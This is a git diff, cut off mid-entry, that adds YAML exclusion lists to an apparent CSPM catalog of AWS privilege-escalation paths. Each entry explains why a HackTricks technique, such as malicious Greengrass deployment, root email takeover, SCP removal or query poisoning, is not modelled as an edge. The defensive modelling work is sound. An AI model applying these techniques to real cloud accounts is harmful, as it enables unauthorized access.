the admitted external-account principal or receive role credentials; the + generic challenge fact has no typed source-to-target contract. + prior_id: aws-pa-persist-s01-30 diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_greengrass_unjoined_tes_role_final_reaudit_20261016.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_greengrass_unjoined_tes_role_final_reaudit_20261016.yaml new file mode 100644 index 0000000000..155e3e766d --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_greengrass_unjoined_tes_role_final_reaudit_20261016.yaml @@ -0,0 +1,13 @@ +# Exact original: docs/privesc-ledgers/aws-scope-archive-20261016/greengrass-unjoined-tes-role-final-re-audit.yaml.txt. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-greengrass-post-exploitation/README.md#greengrasscreatecomponentversion--greengrasscreatedeployment--run-code-on-edge-core-devices + source_revision: 4d874afe90 + technique: Deploy a malicious Greengrass component to core devices and use their token exchange + role + reason: 'The caller may create a component with executable lifecycle code and deploy it to + a permitted thing or thing group; a group target also needs iot:DescribeThingGroup. A role + edge requires a specific connected core device that receives and runs the component, its + nucleus iotRoleAlias setting, an IoT policy permitting that alias, the alias target IAM role + and a usable token exchange service on the device. The evaluator collects none of the exact + deployment-to-device-to-alias-to-role joins. Trust in credentials.iot.amazonaws.com alone + identifies neither the device nor its role, so a permission-only edge would be speculative.' + prior_id: aws-greengrass-createcomponentversion-createdeployment-tes-role diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_org_scope_overclaim_20261016.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_org_scope_overclaim_20261016.yaml new file mode 100644 index 0000000000..7a06ee4178 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_org_scope_overclaim_20261016.yaml @@ -0,0 +1,11 @@ +# Organization/account-admin paths missing exact scope or authentication prerequisites. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-account-management-privesc/README.md#accountputcontactinformation--startprimaryemailupdate--account-recovery-and-root-email-takeover + technique: aws-account-startprimaryemailupdate-member-root + reason: Changing the root email and resetting the password does not bypass an enrolled root MFA device. The entry + lacks exact evidence that the target account has no MFA barrier or a usable recovery path, so root/account-admin + access is not established. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md#organizationsregisterdelegatedadministrator--delegate-a-service-to-a-member-account + technique: aws-organizations-registerdelegatedadministrator + reason: RegisterDelegatedAdministrator alone grants only service-specific delegation to a separate controlled + member-account identity. The catalog does not bind that identity, service-specific administrative actions, or + member targets, so aws_account_admin for all members is overbroad. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_organizations_effective_gain_20261022.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_organizations_effective_gain_20261022.yaml new file mode 100644 index 0000000000..e59ad3f7dd --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_organizations_effective_gain_20261022.yaml @@ -0,0 +1,9 @@ +# Organizations policy changes require an exact source-to-member effective-authority join. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md#dismantling-scp-guardrails--organizationsdetachpolicy-updatepolicy-disablepolicytype-moveaccount + source_revision: b13a72b45f + technique: Remove an SCP guardrail for a controlled member principal + reason: DetachPolicy, UpdatePolicy, DisablePolicyType or MoveAccount can alter member-account ceilings, but the management caller does not gain its own permission from an SCP change. A definite edge requires a controlled member principal, exact account and inherited SCP path, prior blocked action, identity allow, removal of the effective block and no remaining deny or boundary. Current inventory does not join before-and-after effective permission across those principals. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md#organizationsputresourcepolicy--delegate-organizations-itself-to-a-member-account + source_revision: b13a72b45f + technique: Delegate Organizations policy actions to a controlled member principal + reason: PutResourcePolicy can permit a member account to manage supported Organizations policies, but a usable gain requires an exact controlled member principal, accepted delegation policy and resource, matching identity permission and absence of denies. The policy writer's management-account permission is not itself a new member-principal capability. Current inventory does not join the two principals or prove a specific before-and-after authorized action. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_pr_head_reconciliation_20261016.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_pr_head_reconciliation_20261016.yaml new file mode 100644 index 0000000000..3bf25e7098 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_pr_head_reconciliation_20261016.yaml @@ -0,0 +1,53 @@ +# PR #473 HEAD headings that require an explicit strict-catalog exclusion. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-appsync-privesc/README.md#additional-privilege-escalation-paths + source_revision: 4829bd32b9 + technique: additional privilege escalation paths + reason: Callable field, data-source role and source authorization are not joined. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-appsync-privesc/README.md#hijack-resolver-function-or-data-source-behavior + source_revision: 4829bd32b9 + technique: hijack resolver function or data source behavior + reason: Resolver mutation does not prove a caller-accessible field and exact stored data-source + role; application data effects alone are not privilege escalation. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md#additional-privilege-escalation-paths + source_revision: 4829bd32b9 + technique: additional privilege escalation paths + reason: Control of the admitted external-account principal and exact bootstrap-role access are + not verified. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codeartifact-privesc/README.md#additional-privilege-escalation-paths + source_revision: 4829bd32b9 + technique: additional privilege escalation paths + reason: "Writable package\u2192exact consumer role and execution are not collected." +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codecommit-pipeline-source-privesc/README.md#additional-privilege-escalation-paths + source_revision: 4829bd32b9 + technique: additional privilege escalation paths + reason: Writable revision, triggered build and project execution role are not joined. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codeconnections-privesc/README.md#additional-privilege-escalation-paths + source_revision: 4829bd32b9 + technique: additional privilege escalation paths + reason: "Git installation/branch control and sync configuration\u2192role are not joined." +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md#additional-privilege-escalation-paths + source_revision: 4829bd32b9 + technique: additional privilege escalation paths + reason: Controlled replacement image and execution on the role-bearing instance are unverified. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md#additional-privilege-escalation-paths + source_revision: 4829bd32b9 + technique: additional privilege escalation paths + reason: Source-controlled ECS host and replacement task placement are not verified. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-eks-privesc/README.md#additional-privilege-escalation-paths + source_revision: 4829bd32b9 + technique: additional privilege escalation paths + reason: The configured OIDC claims are not joined to a privileged Kubernetes RBAC binding. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#additional-privilege-escalation-paths + source_revision: 4829bd32b9 + technique: additional privilege escalation paths + reason: The newly created role and external trust claim/pattern are not joined. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md#studio-domain-level-all-users + source_revision: 4829bd32b9 + technique: studio domain level all users + reason: Domain default lifecycle settings are not joined to a specific user/space execution + role and a subsequent app start. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md#studio-space-level-individual-or-shared-spaces + source_revision: 4829bd32b9 + technique: studio space level individual or shared spaces + reason: "Studio space\u2192execution role is not collected; the archived space entry matched\ + \ any SageMaker-trusting role." diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_quicksight_role_session_20261022.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_quicksight_role_session_20261022.yaml new file mode 100644 index 0000000000..f317f7f43a --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_quicksight_role_session_20261022.yaml @@ -0,0 +1,5 @@ +# IAM-role registration needs a session-bound user identity and resource name. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-quicksight-privesc/README.md#quicksightregisteruser--map-a-controlled-iam-identity-to-an-admin + source_revision: 171e422299 + technique: Register a controlled IAM role session as a QuickSight administrator + reason: RegisterUser accepts an IAM role only with a SessionName, and its QuickSight username and authorization ARN must match that chosen session identity. A role policy alone does not record the active session name or prove the source controls the registered session. Model this separately from IAM-user self-registration once the session-to-QuickSight-user join is established. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_refresh_g1.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_refresh_g1.yaml new file mode 100644 index 0000000000..8551c087da --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_refresh_g1.yaml @@ -0,0 +1,50 @@ +# AWS refresh G1 (identity/org pages): HackTricks sections at 171e422299 intentionally NOT modelled as privesc edges. +# Each item: {source, technique, reason, source_revision}. + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-account-management-privesc/README.md#account-management + technique: "section introduction" + reason: "Service introduction and enumeration link; techniques are mapped under their own headings." + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-control-tower-privesc/README.md#control-tower + technique: "section introduction" + reason: "Service introduction describing the Control Tower orchestration surface; techniques are mapped under their own headings." + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-control-tower-privesc/README.md#account-factory-customization-afc--run-cloudformation-in-managed-accounts + technique: "Account Factory Customization blueprint tampering" + reason: "The blueprint (a Service Catalog product in a hub account) is applied to managed accounts only when Control Tower enrolls, creates or updates an account with it; the blueprint-to-account mapping and the account-update step are not inferable from collected IAM facts, and a generic servicecatalog:CreateProvisioningArtifact edge would duplicate aws-servicecatalog-createprovisioningartifact-provisionproduct. Needs a Control Tower blueprint inventory (see SCHEMA EXTENSIONS in the G1 report)." + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md#eksupdateclusterconfig--expose-the-api-server-to-the-internet + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-eks-privesc/README.md#eksupdateclusterconfig--expose-the-api-server-to-the-internet + historical_source_revision: 171e422299 + technique: "eks:UpdateClusterConfig" + reason: "This exclusion covers only endpoint exposure (public access / CIDR allowlist), which grants no Kubernetes or AWS identity. Changing the authentication mode from CONFIG_MAP to enable access entries is modelled by aws-eks-updateclusterconfig-enable-access-entries." + source_revision: 3ad99dc7ac +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md#iamuploadsigningcertificate--plant-a-credential-on-another-user + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamuploadsigningcertificate--plant-a-credential-on-another-user + historical_source_revision: 171e422299 + technique: "iam:UploadSigningCertificate" + reason: "IAM X.509 signing certificates authenticate only legacy SOAP API requests, which current AWS services no longer accept; they cannot sign SigV4 requests or obtain STS credentials, so the planted certificate yields no usable identity. Persistence/hygiene concern only." + source_revision: 3ad99dc7ac +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md#iam-delegation-requests--iamassociatedelegationrequest-iamacceptdelegationrequest-iamsenddelegationtoken + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iam-delegation-requests--iamassociatedelegationrequest-iamacceptdelegationrequest-iamsenddelegationtoken + historical_source_revision: 171e422299 + technique: "IAM delegation requests" + reason: "Accepting a delegation request exports the accepting identity's authority to an onboarded external partner; it does not escalate a principal in the snapshot, and sts:GetDelegatedAccessToken requires a provider-bound trade-in token from the approved workflow." + source_revision: 3ad99dc7ac +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md#organizations + technique: "section introduction" + reason: "Service introduction and enumeration link; techniques are mapped under their own headings." + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md#iam-identity-center--sso + technique: "section introduction" + reason: "Page introduction and enumeration link; techniques are mapped under their own headings." + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation/README.md#sso-admincreatetrustedtokenissuer--createapplication--putapplicationgrant--impersonate-any-user-via-a-rogue-trusted-token-issuer + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md#sso-admincreatetrustedtokenissuer--createapplication--putapplicationgrant--impersonate-any-user-via-a-rogue-trusted-token-issuer + technique: "sso-admin:CreateTrustedTokenIssuer" + reason: "A rogue trusted token issuer impersonates users only towards trusted-identity-propagation applications (data-plane access in services such as Redshift, Q, S3 Access Grants); it yields no permission set session or IAM role." + source_revision: f2aa915198 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md#stsgetwebidentitytoken--externalsaas-credential-minting + technique: "sts:GetWebIdentityToken" + reason: "Mints outbound tokens of the caller's own identity for external relying parties; it cannot be exchanged into a different AWS principal, so no AWS privilege edge." + source_revision: 171e422299 diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_refresh_g2.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_refresh_g2.yaml new file mode 100644 index 0000000000..2dc619acff --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_refresh_g2.yaml @@ -0,0 +1,35 @@ +# AWS refresh G2 (compute pages): HackTricks sections at 171e422299 intentionally NOT modelled as privesc edges. +# Each item: {source, technique, reason, source_revision}. + +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ec2enableserialconsoleaccess--unlock-the-account-level-gate-for-serial-console-access + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md#ec2enableserialconsoleaccess--unlock-the-account-level-gate-for-serial-console-access + historical_source_revision: 171e422299 + technique: ec2:EnableSerialConsoleAccess + reason: Only lifts the account-level gate; reaching an instance still requires serial-console key push and an OS account password, so the permission alone yields no new identity (consistent with the SendSerialConsoleSSHPublicKey exclusion). + source_revision: 3ad99dc7ac +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ec2modifyinstancemetadatadefaults--account-wide-imds-downgrade + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md#ec2modifyinstancemetadatadefaults--account-wide-imds-downgrade + historical_source_revision: 171e422299 + technique: ec2:ModifyInstanceMetadataDefaults + reason: Weakens IMDS defaults for future launches only; credential theft still needs a separate SSRF or code-execution foothold in a workload, so it is a defense-weakening misconfiguration rather than an edge (consistent with the ModifyInstanceMetadataOptions exclusion). + source_revision: 3ad99dc7ac +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-image-builder-privesc/README.md#ec2-image-builder + technique: section introduction + reason: Service introduction and enumeration link; techniques are mapped under their own headings. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc/README.md#app-runner + technique: section introduction + reason: Service introduction and enumeration link; techniques are mapped under their own headings. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#lambda + technique: section introduction + reason: Service introduction and enumeration link; techniques are mapped under their own headings. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/aws-ecscape-privesc.md#ecs + technique: section introduction + reason: Background on the ECS agent credential channel; the technique is mapped by aws-ecs-ecscape-agent-impersonation. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#ecrputimage-on-a-mutable-lambda-image-tag-later-code-deployment-required + technique: ecr:PutImage on a Lambda image tag + reason: Lambda pins the tag to a digest at deployment, so the write only executes after another principal later deploys the tag; this consumer-driven supply-chain path is modelled by the ECR writer entries in ecr.yaml. + source_revision: 171e422299 diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_refresh_g3.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_refresh_g3.yaml new file mode 100644 index 0000000000..0918dd238b --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_refresh_g3.yaml @@ -0,0 +1,70 @@ +# AWS catalog refresh (group g3: CloudFormation / Code* / Cloud Control / Service Catalog / Proton / Amplify / Beanstalk / Data Pipeline). +# HackTricks sections at rev 171e422299 intentionally NOT modelled as privesc edges. Each item: {source, technique, reason, source_revision}. + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md#cloudformation + technique: Service introduction + reason: Introductory section (links to enumeration); no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md#codebuild + technique: Service introduction + reason: Introductory section (links to enumeration); no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md#startbuild-env-var-override + technique: codebuild:StartBuild environment-variable / buildspec override (incl. artifact-destination redirect and PYTHONWARNINGS+BROWSER examples) + reason: 'Variant of the StartBuild override technique already modelled as aws-codebuild-startbuild-attached-role (same permission, same target: the project''s stored service role); the examples are execution details.' + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codecommit-pipeline-source-privesc/README.md#codecommit + technique: Service introduction + reason: Introductory section (links to enumeration); no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codedeploy-privesc/README.md#codedeploy + technique: Service introduction + reason: Introductory section (links to enumeration); no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md#codepipeline + technique: Service introduction + reason: Introductory section (links to enumeration); no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-job-credentials-privesc/README.md#codepipeline + technique: Service introduction + reason: Introductory section (links to enumeration); no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codepipeline-data-access-post-exploitation/README.md#codepipelinepollforjobs--custom-action-artifact-credentials + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-job-credentials-privesc/README.md#codepipelinepollforjobs--custom-action-artifact-credentials + technique: codepipeline:PollForJobs + reason: Returns short-lived artifact credentials scoped to the pipeline artifact store for a custom action; data access, not another principal's identity (same reasoning as the codepipeline-privesc PollForJobs exclusion). + source_revision: f2aa915198 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codepipeline-data-access-post-exploitation/README.md#codepipelinegetjobdetails--known-job-artifact-credentials + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-job-credentials-privesc/README.md#codepipelinegetjobdetails--known-job-artifact-credentials + technique: codepipeline:GetJobDetails + reason: Narrower route to the same job artifact credentials as PollForJobs; data access, not a role identity. + source_revision: f2aa915198 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md#codestar + technique: Service introduction + reason: AWS CodeStar discontinued (2024-07-31); introductory section. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc/README.md#datapipeline + technique: Service introduction + reason: Introductory section (links to enumeration); no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-service-catalog-privesc/README.md#service-catalog-and-appregistry + technique: Service introduction + reason: Introductory section describing launch constraints; techniques are modelled in servicecatalog.yaml. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloud-control-handler-role-privesc/README.md#cloud-control-api + technique: Service introduction + reason: Introductory section (links to enumeration); no technique. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloud-control-handler-role-post-exploitation/README.md#getresource--listresources--iampassrole--read-through-a-resource-handler-role + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloud-control-handler-role-privesc/README.md#getresource--listresources--iampassrole--read-through-a-resource-handler-role + technique: cloudformation:GetResource / ListResources + iam:PassRole + reason: 'Read-only: the passed handler role only reads resource configuration (IAM trust, policies, endpoints) back to the caller; configuration disclosure, no write or code execution as the role. Least Privilege / Exposure.' + source_revision: f2aa915198 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-proton-privesc/README.md#protoncreateenvironment-iampassrole--template-control + technique: proton:CreateEnvironment + iam:PassRole + reason: AWS Proton end of support was 2026-10-07 (no new customers since 2025-10-07); the APIs are no longer available, so no current path. + source_revision: 171e422299 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-proton-privesc/README.md#protoncreatecomponent--arbitrary-iac-through-a-stored-component-role + technique: proton:CreateComponent / UpdateComponent (stored component role) + reason: AWS Proton end of support was 2026-10-07; the APIs are no longer available. + source_revision: 171e422299 diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_refresh_g4.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_refresh_g4.yaml new file mode 100644 index 0000000000..707495e668 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_refresh_g4.yaml @@ -0,0 +1,168 @@ +# AWS catalog refresh (group g4: SageMaker / Bedrock / Glue / EMR / Athena / Lake Formation / DataZone / Flink / HealthOmics / databases). +# HackTricks sections at rev 171e422299 intentionally NOT modelled as privesc edges. Each item: {source, technique, reason, source_revision}. + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-athena-spark-role-privesc/README.md#athena + technique: Service introduction + reason: "Introductory section (links to enumeration); no technique." + source_revision: 171e422299 + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-athena-stored-query-privesc/README.md#athena + technique: Service introduction + reason: "Introductory section (links to enumeration); no technique." + source_revision: 171e422299 + +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-athena-post-exploitation/README.md#athenaupdatepreparedstatement--poison-a-query-executed-by-another-principal + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-athena-stored-query-privesc/README.md#athenaupdatepreparedstatement--poison-a-query-executed-by-another-principal + technique: "athena:UpdatePreparedStatement" + reason: "Data-level confused deputy: the replaced SQL runs with a later caller's data access; no IAM role or principal is obtained." + source_revision: f2aa915198 + +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-athena-post-exploitation/README.md#athenaupdatenamedquery--poison-saved-sql-consumed-by-another-principal + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-athena-stored-query-privesc/README.md#athenaupdatenamedquery--poison-saved-sql-consumed-by-another-principal + technique: "athena:UpdateNamedQuery" + reason: "Data-level confused deputy: saved SQL is executed by another principal with its own data access; no IAM role or principal is obtained." + source_revision: f2aa915198 + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-aurora-dsql-privesc/README.md#aurora-dsql + technique: Service introduction + reason: "Introductory section (links to enumeration); no technique." + source_revision: 171e422299 + +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-aurora-dsql-post-exploitation/README.md#dsqldbconnectadmin--database-administrator-access + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-aurora-dsql-privesc/README.md#dsqldbconnectadmin--database-administrator-access + technique: "dsql:DbConnectAdmin" + reason: "Database-plane administrator access only; no IAM principal is obtained." + source_revision: fd7d56b0a9 + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-aurora-dsql-privesc/README.md#dsqlputclusterpolicy--self-grant-database-administrator-access + technique: "dsql:PutClusterPolicy" + reason: "Self-grant of database-plane administrator access through the cluster resource policy; no IAM principal is obtained." + source_revision: 171e422299 + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md#bedrock + technique: Service introduction + reason: "Introductory section (links to enumeration); no technique." + source_revision: 171e422299 + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md#bedrock-agentcorecreateagentruntime--createagentruntimeendpoint-iampassrole---agent-runtime-execution-role-pivot + technique: "bedrock-agentcore:CreateAgentRuntime, CreateAgentRuntimeEndpoint, iam:PassRole" + reason: "Duplicate of the AgentCore page heading modelled as aws-bedrock-agentcore-createagentruntime-passrole." + source_revision: 171e422299 + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-agentcore-privesc/README.md#amazon-bedrock-agentcore + technique: Service introduction + reason: "Introductory section (links to enumeration); no technique." + source_revision: 171e422299 + +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-bedrock-agentcore-post-exploitation/README.md#credential-vend--getworkloadaccesstoken--getresourceapikey--getresourceoauth2token--steal-the-third-party-secrets-agents-use + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-agentcore-privesc/README.md#credential-vend--getworkloadaccesstoken--getresourceapikey--getresourceoauth2token--steal-the-third-party-secrets-agents-use + historical_source_revision: 171e422299 + technique: "bedrock-agentcore:GetWorkloadAccessToken*, GetResourceApiKey, GetResourceOauth2Token" + reason: "Vends third-party (SaaS/OAuth) secrets used by agents, not AWS principals; also needs secretsmanager:GetSecretValue on the provider secret." + source_revision: 3ad99dc7ac + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datazone-privesc/README.md#amazon-datazone + technique: Service introduction + reason: "Introductory section (links to enumeration); no technique." + source_revision: 171e422299 + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datazone-privesc/README.md#blueprint-configuration-role-substitution + technique: "datazone:PutEnvironmentBlueprintConfiguration, iam:PassRole" + reason: "The passed provisioning and manage-access roles run fixed built-in blueprint operations (CloudFormation provisioning, Glue/Lake Formation/Redshift grants); the caller does not control code run as the roles. Confused-deputy provisioning, not a direct role takeover." + source_revision: 171e422299 + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-documentdb-privesc/README.md#documentdb + technique: Service introduction + reason: "Introductory section (links to enumeration); no technique." + source_revision: 171e422299 + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-documentdb-privesc/README.md#post-exploitation-reset-an-elastic-cluster-administrator-password + technique: "docdb-elastic:UpdateCluster" + reason: "Database administrator access only; Elastic cluster users are not AWS principals." + source_revision: 171e422299 + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc/README.md#dynamodb + technique: Service introduction + reason: "Introductory section (links to enumeration); no technique." + source_revision: 171e422299 + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-serverless-privesc/README.md#amazon-emr-serverless + technique: Service introduction + reason: "Introductory section (links to enumeration); no technique." + source_revision: 171e422299 + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/README.md#glue + technique: Service introduction + reason: "Introductory section (links to enumeration); no technique." + source_revision: 171e422299 + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-healthomics-privesc/README.md#healthomics + technique: Service introduction + reason: "Introductory section (links to enumeration); no technique." + source_revision: 171e422299 + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-healthomics-privesc/README.md#importexport-jobs--iampassrole + technique: "omics:Start*ImportJob / StartReadSetExportJob, iam:PassRole" + reason: "Data-only confused deputy limited to genomic import/export; no credentials or code execution as the role." + source_revision: 171e422299 + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lake-formation-grants-privesc/README.md#lake-formation + technique: Service introduction + reason: "Introductory section (links to enumeration); no technique." + source_revision: 171e422299 + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lake-formation-grants-privesc/README.md#become-a-data-lake-administrator--lakeformationputdatalakesettings + technique: "lakeformation:PutDataLakeSettings" + reason: "Grants Lake Formation data-governance administration (data access grants), not an IAM principal's privileges; data exposure belongs to exposure analysis. Covers the Impact and limits subsection." + source_revision: 171e422299 + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lake-formation-grants-privesc/README.md#self-grant-data-access--lakeformationgrantpermissions--batchgrantpermissions + technique: "lakeformation:GrantPermissions / BatchGrantPermissions" + reason: "Data-only: self-grants catalog/table access; no IAM principal is obtained." + source_revision: 171e422299 + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lake-formation-grants-privesc/README.md#register-a-location-under-a-privileged-role--lakeformationregisterresource--iampassrole + technique: "lakeformation:RegisterResource, iam:PassRole" + reason: "Data-only confused deputy: the registered role is used to vend scoped S3 data credentials for Lake Formation grants; the caller runs no code as the role." + source_revision: 171e422299 + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-managed-flink-privesc/README.md#managed-service-for-apache-flink + technique: Service introduction + reason: "Introductory section (links to enumeration); no technique." + source_revision: 171e422299 + +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-managed-flink-post-exploitation/README.md#add-private-network-reach-without-ec2-permission + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-managed-flink-privesc/README.md#add-private-network-reach-without-ec2-permission + technique: "kinesisanalytics:AddApplicationVpcConfiguration" + reason: "Network exposure only; no code execution or principal change by itself." + source_revision: f2aa915198 + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ml-dataaccess-passrole-privesc/README.md#iam-identity-center--sso + technique: Service introduction + reason: "Introductory section (links to enumeration); no technique." + source_revision: 171e422299 + +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ml-dataaccess-passrole-privesc/README.md#the-pattern + technique: " 